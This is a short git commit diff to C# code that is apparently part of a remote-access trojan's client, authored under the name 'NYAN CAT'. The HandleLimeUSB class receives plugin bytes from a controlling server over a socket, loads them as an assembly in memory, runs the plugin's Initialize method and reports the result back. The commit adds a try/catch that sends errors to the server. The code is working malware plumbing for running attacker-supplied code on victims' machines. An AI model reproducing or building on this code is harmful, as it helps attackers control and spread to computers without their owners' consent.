Add try catch

This commit is contained in:
NYAN CAT 2019-06-17 12:11:58 +03:00
parent 79c990c492
commit c4b02e1531

View File

@ -1,5 +1,7 @@
using Client.MessagePack;
using Client.Sockets;
using System;
using System.Diagnostics;
using System.Reflection;
//
// │ Author : NYAN CAT
@ -14,6 +16,8 @@ namespace Client.Handle_Packet
public class HandleLimeUSB
{
public HandleLimeUSB(MsgPack unpack_msgpack)
{
try
{
Assembly loader = Assembly.Load(unpack_msgpack.ForcePathObject("Plugin").GetAsBytes());
MethodInfo meth = loader.GetType("HandleLimeUSB.HandleLimeUSB").GetMethod("Initialize");
@ -27,5 +31,11 @@ namespace Client.Handle_Packet
ClientSocket.Send(msgpack.Encode2Bytes());
}
}
catch (Exception ex)
{
Debug.WriteLine(ex.Message);
Packet.Error(ex.Message);
}
}
}
}